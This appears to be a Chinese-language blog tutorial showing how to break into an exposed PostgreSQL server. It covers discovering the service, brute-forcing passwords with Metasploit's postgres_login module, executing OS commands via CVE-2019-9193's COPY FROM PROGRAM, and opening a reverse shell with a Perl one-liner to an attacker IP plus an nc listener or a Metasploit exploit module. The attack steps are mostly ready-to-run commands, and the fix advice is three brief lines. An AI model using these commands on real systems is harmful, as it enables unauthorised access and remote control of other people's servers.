PostgresSQL未授权导致命令执行

简介: PostgresSQL未授权导致命令执行

PostgreSQL( 读作 Post-Gres-Q-L)是一个功能非常强大的、源代码开放的客户/服务器关系型数据库管理系统(RDBMS)。
当该服务配置不当开放到外网时可以被暴破密码,获得任意用户密码登录成功后使用(CVE-2019-9193)高权限命令执行即可反弹管理员shell
实战

1.使用nmap或者fofa发现该端口或者相关服务
图片

2.使用kali系统中msf渗透模型进行暴破用户密码。
msfconsole //进入msf工具
use auxiliary/scanner/postgres/postgres_login //进入暴破模块
set rhosts 1.1.1.1 //添加目标ip
set rport 5432 //添加目标端口
set user_file /home/taibai/1 //后面的路径是用户名字典
set pass_file /home/taibai/2 //后面的路径是密码字典
show options //查看相关配置信息
run //开始运行
image.png

破解成功后会有提示破解的用户密码
image.png

3.使用破解后的用户名密码登录

psql -h 1.1.1.1 -U postgres -W //连接后提示输入密码
image.png

4.使用(CVE-2019-9193)高权限命令执行漏洞执行命令
DROP TABLE IF EXISTS cmd_exec; //删除你想用来保存命令输出但是可能存在的表
CREATE TABLE cmd_exec(cmd_output text); //创建你用来保存命令输出的表
COPY cmd_exec FROM PROGRAM 'id'; //通过 “COPY FROM PROGRAM”执行系统命令
SELECT * FROM cmd_exec; //查看执行结果
image.png

image.png

image.png

5.使用nc反弹shell(注意需要公网ip地址)

//攻击机上执行
nc -vv -l -p 1234

//perl命令来反弹shell
COPY files FROM PROGRAM 'perl -MIO -e "$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,\"2.2.2.2:1234\");STDIN->fdopen($c,r);$~->fdopen($c,w);system $_ while <>;"';
6.如果上面不行可以直接使用msf中利用模块(注意需要公网ip地址)
set rhosts 1.1.1.1  //配置目标ip
set rport 5432   //配置目标端口
set username postgres  //配置目标用户名
set password 123456   //配置目标密码
set lhost 2.2.2.2   //配置反弹ip
set lport 1234   //配置反弹端口
show options  //查看配置
exp  //运行

图片

7.修复建议

升级最新稳定版本

配置端口白名单不要开放到外网

配置强密码

相关文章
|
关系型数据库 MySQL 数据库
【MySQL数据库】基本命令操作及语句总结
无论您是初学者还是有一定经验的开发者,了解MySQL的基础操作对于正确和高效地管理和操作数据库都是至关重要的。
278 2
|
8月前
|
SQL Windows
安装SQL Server 2005时出现对性能监视器计数器注册表值执行系统配置检查失败的解决办法...
安装SQL Server 2005时出现对性能监视器计数器注册表值执行系统配置检查失败的解决办法...
58 4
|
8月前
|
SQL Oracle 关系型数据库
Linux环境下oracle切换用户并查询数据库命令
Linux环境下oracle切换用户并查询数据库命令
157 0
|
关系型数据库 MySQL Windows
MySQL启动时显示:发生系统错误 5。拒绝访问解决办法
MySQL启动时显示:发生系统错误 5。拒绝访问解决办法
MySQL启动时显示:发生系统错误 5。拒绝访问解决办法
sudo的安全策略阻止/允许用户执行指定的命令
sudo的安全策略阻止/允许用户执行指定的命令
162 0
|
SQL Oracle 关系型数据库
Oracle 数据库利用sql语句杀掉用户session进程,“ORA-01940: 无法删除当前连接的用户“问题解决办法
Oracle 数据库利用sql语句杀掉用户session进程,“ORA-01940: 无法删除当前连接的用户“问题解决办法
376 0
Oracle 数据库利用sql语句杀掉用户session进程,“ORA-01940: 无法删除当前连接的用户“问题解决办法
|
关系型数据库 MySQL 数据库
MySQL 切换数据库、用户卡死:“You can turn off this feature to get a quicker startup with -A“处理方法
MySQL 切换数据库、用户卡死:“You can turn off this feature to get a quicker startup with -A“处理方法
904 0
|
监控 关系型数据库 MySQL

热门文章

最新文章

下一篇
开通oss服务